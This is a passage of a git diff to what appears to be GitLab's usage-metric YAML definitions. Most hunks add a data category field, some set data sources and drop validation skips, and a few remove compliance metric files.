description: Count of unique actions done on a wiki (create, edit, delete)
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182106_design_action_monthly.yml b/config/metrics/counts_28d/20210216182106_design_action_monthly.yml
index 971e3defe25..b63c79fa9b5 100644
--- a/config/metrics/counts_28d/20210216182106_design_action_monthly.yml
+++ b/config/metrics/counts_28d/20210216182106_design_action_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.design_action_monthly
description: Count of total design actions (upload, delete, comment, reply)
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182109_project_action_monthly.yml b/config/metrics/counts_28d/20210216182109_project_action_monthly.yml
index d60ec7f438b..c5b38cf041e 100644
--- a/config/metrics/counts_28d/20210216182109_project_action_monthly.yml
+++ b/config/metrics/counts_28d/20210216182109_project_action_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.project_action_monthly
description: Count of unique actions done on projects and related resources (create, edit, delete, comment)
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182125_user_sast_jobs.yml b/config/metrics/counts_28d/20210216182125_user_sast_jobs.yml
index 629b346a6aa..1cac9649385 100644
--- a/config/metrics/counts_28d/20210216182125_user_sast_jobs.yml
+++ b/config/metrics/counts_28d/20210216182125_user_sast_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_sast_jobs
description: Users who run a SAST job
product_section: sec
@@ -8,7 +9,7 @@ product_category: static_application_security_testing
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216182127_user_secret_detection_jobs.yml b/config/metrics/counts_28d/20210216182127_user_secret_detection_jobs.yml
index 0502b28213e..c1da3f76981 100644
--- a/config/metrics/counts_28d/20210216182127_user_secret_detection_jobs.yml
+++ b/config/metrics/counts_28d/20210216182127_user_secret_detection_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_secret_detection_jobs
description: Users who run a Secret Detection job
product_section: sec
@@ -8,7 +9,7 @@ product_category: secret_detection
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216182129_sast_pipeline.yml b/config/metrics/counts_28d/20210216182129_sast_pipeline.yml
index f655c4368ad..a340dc960d3 100644
--- a/config/metrics/counts_28d/20210216182129_sast_pipeline.yml
+++ b/config/metrics/counts_28d/20210216182129_sast_pipeline.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.sast_pipeline
description: Counts of Pipelines that have at least 1 SAST job
product_section: sec
@@ -8,7 +9,7 @@ product_category: static_application_security_testing
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216182131_secret_detection_pipeline.yml b/config/metrics/counts_28d/20210216182131_secret_detection_pipeline.yml
index 14985c91f86..171a9696d12 100644
--- a/config/metrics/counts_28d/20210216182131_secret_detection_pipeline.yml
+++ b/config/metrics/counts_28d/20210216182131_secret_detection_pipeline.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.secret_detection_pipeline
description: Counts of Pipelines that have at least 1 Secret Detection job
product_section: sec
@@ -8,7 +9,7 @@ product_category: secret_detection
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml b/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml
index fa4b6b14946..0a94cd08b0e 100644
--- a/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml
+++ b/config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.i_testing_test_case_parsed_monthly
description: Internal Tracking to count number of unit tests parsed for planning of
future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
diff --git a/config/metrics/counts_28d/20210216183159_projects_with_alerts_created.yml b/config/metrics/counts_28d/20210216183159_projects_with_alerts_created.yml
index b5ba1f7d66b..64d403d10d3 100644
--- a/config/metrics/counts_28d/20210216183159_projects_with_alerts_created.yml
+++ b/config/metrics/counts_28d/20210216183159_projects_with_alerts_created.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.projects_with_alerts_created
description: Monthly count of unique projects with HTTP alerting enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml b/config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml
deleted file mode 100644
index a0f14b7a760..00000000000
--- a/config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts_monthly.aggregated_metrics.compliance_features_track_unique_visits_union
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml b/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml
index 1f9832b220d..a412754ca62 100644
--- a/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml
+++ b/config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.product_analytics_test_metrics_union
description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
product_section: growth
diff --git a/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml b/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml
index 171b2a0a032..2583c51990f 100644
--- a/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml
+++ b/config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.product_analytics_test_metrics_intersection
description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
product_section: growth
diff --git a/config/metrics/counts_28d/20210216183627_omniauth_providers.yml b/config/metrics/counts_28d/20210216183627_omniauth_providers.yml
index fe7f0a33d9b..2a3544fa601 100644
--- a/config/metrics/counts_28d/20210216183627_omniauth_providers.yml
+++ b/config/metrics/counts_28d/20210216183627_omniauth_providers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.omniauth_providers
description: Number of unique user logins using an OmniAuth provider
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183629_two-factor.yml b/config/metrics/counts_28d/20210216183629_two-factor.yml
index 273589b53a2..0165a40155e 100644
--- a/config/metrics/counts_28d/20210216183629_two-factor.yml
+++ b/config/metrics/counts_28d/20210216183629_two-factor.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor
description: Number of unique user logins using two factor authentication
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml b/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml
index 05b8c96646d..d814e539b26 100644
--- a/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml
+++ b/config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-u2f-device
description: Number of unique user logins using two factor via a U2F device
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml b/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml
index a386ae4fea4..a910851e2f0 100644
--- a/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml
+++ b/config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.two-factor-via-webauthn-device
description: Number of unique user logins using two factor via a WebAuthn device
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183634_standard.yml b/config/metrics/counts_28d/20210216183634_standard.yml
index 12f33070c85..0144c251c93 100644
--- a/config/metrics/counts_28d/20210216183634_standard.yml
+++ b/config/metrics/counts_28d/20210216183634_standard.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.standard
description: Number of unique user logins using password authentication
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183636_google_oauth2.yml b/config/metrics/counts_28d/20210216183636_google_oauth2.yml
index e7cbc3718bb..ce5112fcc88 100644
--- a/config/metrics/counts_28d/20210216183636_google_oauth2.yml
+++ b/config/metrics/counts_28d/20210216183636_google_oauth2.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.user_auth_by_provider.google_oauth2
description: Number of unique user logins using Google OAuth authentication
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml b/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml
index 670b8d555d8..49473e2cfad 100644
--- a/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml
+++ b/config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.unique_users_all_imports
description: Number of users from projects imported
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183640_gitlab.yml b/config/metrics/counts_28d/20210216183640_gitlab.yml
index b71e1ac4572..2c53566fbd5 100644
--- a/config/metrics/counts_28d/20210216183640_gitlab.yml
+++ b/config/metrics/counts_28d/20210216183640_gitlab.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.bulk_imports.gitlab
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183642_gitlab_v1.yml b/config/metrics/counts_28d/20210216183642_gitlab_v1.yml
index ee61abedd8a..dd0ba521d2f 100644
--- a/config/metrics/counts_28d/20210216183642_gitlab_v1.yml
+++ b/config/metrics/counts_28d/20210216183642_gitlab_v1.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.bulk_imports.gitlab_v1
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183644_gitlab_project.yml b/config/metrics/counts_28d/20210216183644_gitlab_project.yml
index 03c2d993a6c..6ec8fdc7509 100644
--- a/config/metrics/counts_28d/20210216183644_gitlab_project.yml
+++ b/config/metrics/counts_28d/20210216183644_gitlab_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitlab_project
description: ''
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183646_gitlab.yml b/config/metrics/counts_28d/20210216183646_gitlab.yml
index a3e1f9d35b0..09825a146db 100644
--- a/config/metrics/counts_28d/20210216183646_gitlab.yml
+++ b/config/metrics/counts_28d/20210216183646_gitlab.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitlab
description: Count of projects imported from GitLab using Project Export/Import
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183648_github.yml b/config/metrics/counts_28d/20210216183648_github.yml
index 124ae696d68..62873a57949 100644
--- a/config/metrics/counts_28d/20210216183648_github.yml
+++ b/config/metrics/counts_28d/20210216183648_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.github
description: Count of projects imported from GitHub
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183650_bitbucket.yml b/config/metrics/counts_28d/20210216183650_bitbucket.yml
index 9d8b9374e3f..82be4fb910a 100644
--- a/config/metrics/counts_28d/20210216183650_bitbucket.yml
+++ b/config/metrics/counts_28d/20210216183650_bitbucket.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.bitbucket
description: Count of projects imported from Bitbucket
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183652_bitbucket_server.yml b/config/metrics/counts_28d/20210216183652_bitbucket_server.yml
index e84adc3aba8..cbf34c1d7cd 100644
--- a/config/metrics/counts_28d/20210216183652_bitbucket_server.yml
+++ b/config/metrics/counts_28d/20210216183652_bitbucket_server.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.bitbucket_server
description: Count of projects imported from Bitbucket Server
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183653_gitea.yml b/config/metrics/counts_28d/20210216183653_gitea.yml
index 46087d194da..0b660825f83 100644
--- a/config/metrics/counts_28d/20210216183653_gitea.yml
+++ b/config/metrics/counts_28d/20210216183653_gitea.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitea
description: Count of projects imported from Gitea
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183655_git.yml b/config/metrics/counts_28d/20210216183655_git.yml
index e0f3a1da4e1..7b0457c5902 100644
--- a/config/metrics/counts_28d/20210216183655_git.yml
+++ b/config/metrics/counts_28d/20210216183655_git.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.git
description: Count of projects imported from Git
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183657_manifest.yml b/config/metrics/counts_28d/20210216183657_manifest.yml
index 3bc9b639a59..28796fefaf4 100644
--- a/config/metrics/counts_28d/20210216183657_manifest.yml
+++ b/config/metrics/counts_28d/20210216183657_manifest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.manifest
description: ''
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183659_gitlab_migration.yml b/config/metrics/counts_28d/20210216183659_gitlab_migration.yml
index 1304ea7b166..081992cab1f 100644
--- a/config/metrics/counts_28d/20210216183659_gitlab_migration.yml
+++ b/config/metrics/counts_28d/20210216183659_gitlab_migration.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.gitlab_migration
description: ''
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183701_jira.yml b/config/metrics/counts_28d/20210216183701_jira.yml
index 1ce602b4bd1..3dbb664d5f6 100644
--- a/config/metrics/counts_28d/20210216183701_jira.yml
+++ b/config/metrics/counts_28d/20210216183701_jira.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issue_imports.jira
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183703_fogbugz.yml b/config/metrics/counts_28d/20210216183703_fogbugz.yml
index 3595c0ffdce..e89d9a7befb 100644
--- a/config/metrics/counts_28d/20210216183703_fogbugz.yml
+++ b/config/metrics/counts_28d/20210216183703_fogbugz.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issue_imports.fogbugz
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183705_phabricator.yml b/config/metrics/counts_28d/20210216183705_phabricator.yml
index 5be1c6263aa..ecb92ce04ff 100644
--- a/config/metrics/counts_28d/20210216183705_phabricator.yml
+++ b/config/metrics/counts_28d/20210216183705_phabricator.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issue_imports.phabricator
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183707_csv.yml b/config/metrics/counts_28d/20210216183707_csv.yml
index 398d740d78d..5558447f92c 100644
--- a/config/metrics/counts_28d/20210216183707_csv.yml
+++ b/config/metrics/counts_28d/20210216183707_csv.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issue_imports.csv
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183709_group_import.yml b/config/metrics/counts_28d/20210216183709_group_import.yml
index eca3eada4d4..11c9ed4440c 100644
--- a/config/metrics/counts_28d/20210216183709_group_import.yml
+++ b/config/metrics/counts_28d/20210216183709_group_import.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.group_imports.group_import
description: Number of group import states
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183711_gitlab_migration.yml b/config/metrics/counts_28d/20210216183711_gitlab_migration.yml
index 1399e4ebe6d..1314f587438 100644
--- a/config/metrics/counts_28d/20210216183711_gitlab_migration.yml
+++ b/config/metrics/counts_28d/20210216183711_gitlab_migration.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.group_imports.gitlab_migration
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183712_total.yml b/config/metrics/counts_28d/20210216183712_total.yml
index f91e9e015fa..280a493e4a7 100644
--- a/config/metrics/counts_28d/20210216183712_total.yml
+++ b/config/metrics/counts_28d/20210216183712_total.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.total
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183714_gitlab_project.yml b/config/metrics/counts_28d/20210216183714_gitlab_project.yml
index d6096290073..a4fdaa791b6 100644
--- a/config/metrics/counts_28d/20210216183714_gitlab_project.yml
+++ b/config/metrics/counts_28d/20210216183714_gitlab_project.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.gitlab_project
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183716_gitlab.yml b/config/metrics/counts_28d/20210216183716_gitlab.yml
index e1199192515..6905da714af 100644
--- a/config/metrics/counts_28d/20210216183716_gitlab.yml
+++ b/config/metrics/counts_28d/20210216183716_gitlab.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.gitlab
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183718_github.yml b/config/metrics/counts_28d/20210216183718_github.yml
index 2dfe7b88f0d..1ca1658a8ab 100644
--- a/config/metrics/counts_28d/20210216183718_github.yml
+++ b/config/metrics/counts_28d/20210216183718_github.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.github
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183720_bitbucket.yml b/config/metrics/counts_28d/20210216183720_bitbucket.yml
index b3b34c95800..0239d138193 100644
--- a/config/metrics/counts_28d/20210216183720_bitbucket.yml
+++ b/config/metrics/counts_28d/20210216183720_bitbucket.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.bitbucket
description: Count of projects imported from Bitbucket
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183722_bitbucket_server.yml b/config/metrics/counts_28d/20210216183722_bitbucket_server.yml
index 1a8ace962e0..4ccfeaadbb3 100644
--- a/config/metrics/counts_28d/20210216183722_bitbucket_server.yml
+++ b/config/metrics/counts_28d/20210216183722_bitbucket_server.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.bitbucket_server
description: Count of projects imported from Bitbucket Server
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183724_gitea.yml b/config/metrics/counts_28d/20210216183724_gitea.yml
index d35f33c30b3..2a383c2c976 100644
--- a/config/metrics/counts_28d/20210216183724_gitea.yml
+++ b/config/metrics/counts_28d/20210216183724_gitea.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.gitea
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183726_git.yml b/config/metrics/counts_28d/20210216183726_git.yml
index 2e86b7120d3..e0f91fbea1e 100644
--- a/config/metrics/counts_28d/20210216183726_git.yml
+++ b/config/metrics/counts_28d/20210216183726_git.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.git
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183728_manifest.yml b/config/metrics/counts_28d/20210216183728_manifest.yml
index 9bbfc70d6da..ba44bc90e64 100644
--- a/config/metrics/counts_28d/20210216183728_manifest.yml
+++ b/config/metrics/counts_28d/20210216183728_manifest.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.projects_imported.manifest
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183730_jira.yml b/config/metrics/counts_28d/20210216183730_jira.yml
index 78321ae7777..fd4558506cf 100644
--- a/config/metrics/counts_28d/20210216183730_jira.yml
+++ b/config/metrics/counts_28d/20210216183730_jira.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issues_imported.jira
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183731_fogbugz.yml b/config/metrics/counts_28d/20210216183731_fogbugz.yml
index d504e4ce788..09892145b27 100644
--- a/config/metrics/counts_28d/20210216183731_fogbugz.yml
+++ b/config/metrics/counts_28d/20210216183731_fogbugz.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issues_imported.fogbugz
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183733_phabricator.yml b/config/metrics/counts_28d/20210216183733_phabricator.yml
index 82f9cc0e8aa..114fb7ef897 100644
--- a/config/metrics/counts_28d/20210216183733_phabricator.yml
+++ b/config/metrics/counts_28d/20210216183733_phabricator.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issues_imported.phabricator
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183735_csv.yml b/config/metrics/counts_28d/20210216183735_csv.yml
index c81db142022..c7f0f6c72b9 100644
--- a/config/metrics/counts_28d/20210216183735_csv.yml
+++ b/config/metrics/counts_28d/20210216183735_csv.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.issues_imported.csv
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183737_groups_imported.yml b/config/metrics/counts_28d/20210216183737_groups_imported.yml
index 10ffa325a11..64fcdd34904 100644
--- a/config/metrics/counts_28d/20210216183737_groups_imported.yml
+++ b/config/metrics/counts_28d/20210216183737_groups_imported.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.groups_imported
description: ''
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183817_user_coverage_fuzzing_jobs.yml b/config/metrics/counts_28d/20210216183817_user_coverage_fuzzing_jobs.yml
index c93f4bfbe85..a348b5a9717 100644
--- a/config/metrics/counts_28d/20210216183817_user_coverage_fuzzing_jobs.yml
+++ b/config/metrics/counts_28d/20210216183817_user_coverage_fuzzing_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_coverage_fuzzing_jobs
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183826_sast_scans.yml b/config/metrics/counts_28d/20210216183826_sast_scans.yml
index 81824a66f09..9299f45041c 100644
--- a/config/metrics/counts_28d/20210216183826_sast_scans.yml
+++ b/config/metrics/counts_28d/20210216183826_sast_scans.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.sast_scans
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183830_container_scanning_scans.yml b/config/metrics/counts_28d/20210216183830_container_scanning_scans.yml
index f05361d80bc..ca3d9284456 100644
--- a/config/metrics/counts_28d/20210216183830_container_scanning_scans.yml
+++ b/config/metrics/counts_28d/20210216183830_container_scanning_scans.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.container_scanning_scans
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183832_dast_scans.yml b/config/metrics/counts_28d/20210216183832_dast_scans.yml
index daa8db24b65..b83d5da0f9d 100644
--- a/config/metrics/counts_28d/20210216183832_dast_scans.yml
+++ b/config/metrics/counts_28d/20210216183832_dast_scans.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.dast_scans
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183834_secret_detection_scans.yml b/config/metrics/counts_28d/20210216183834_secret_detection_scans.yml
index dfab9034bd0..55e55c6b4a1 100644
--- a/config/metrics/counts_28d/20210216183834_secret_detection_scans.yml
+++ b/config/metrics/counts_28d/20210216183834_secret_detection_scans.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.secret_detection_scans
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183836_coverage_fuzzing_scans.yml b/config/metrics/counts_28d/20210216183836_coverage_fuzzing_scans.yml
index 9e3248c7211..aac4dca0667 100644
--- a/config/metrics/counts_28d/20210216183836_coverage_fuzzing_scans.yml
+++ b/config/metrics/counts_28d/20210216183836_coverage_fuzzing_scans.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.coverage_fuzzing_scans
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183838_api_fuzzing_scans.yml b/config/metrics/counts_28d/20210216183838_api_fuzzing_scans.yml
index db92fcddb74..8986ea82ac8 100644
--- a/config/metrics/counts_28d/20210216183838_api_fuzzing_scans.yml
+++ b/config/metrics/counts_28d/20210216183838_api_fuzzing_scans.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.api_fuzzing_scans
description: ''
product_section: ''
diff --git a/config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml b/config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml
deleted file mode 100644
index a95d2ba6e89..00000000000
--- a/config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: compliance_unique_visits.compliance_unique_visits_for_any_target_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183922_search_unique_visits_for_any_target_monthly.yml b/config/metrics/counts_28d/20210216183922_search_unique_visits_for_any_target_monthly.yml
index 07e1d5dfd43..ef051f7031e 100644
--- a/config/metrics/counts_28d/20210216183922_search_unique_visits_for_any_target_monthly.yml
+++ b/config/metrics/counts_28d/20210216183922_search_unique_visits_for_any_target_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: search_unique_visits.search_unique_visits_for_any_target_monthly
description: Total unique users for i_search_total, i_search_advanced, i_search_paid for recent 28 days. This metric is redundant because advanced will be a subset of paid and paid will be a subset of total. i_search_total is more appropriate if you just want the total
product_section: enablement
diff --git a/config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml b/config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml
deleted file mode 100644
index be1f63fad18..00000000000
--- a/config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.compliance.g_compliance_dashboard_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml b/config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml
deleted file mode 100644
index d3262c4d9ca..00000000000
--- a/config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.compliance.g_compliance_audit_events_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml b/config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml
deleted file mode 100644
index fb8284bcf31..00000000000
--- a/config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.compliance.i_compliance_audit_events_monthly
-description: ''
-product_section: ''
-product_stage: ''
-product_group: ''
-product_category: ''
-value_type: number
-status: data_available
-time_frame: 28d
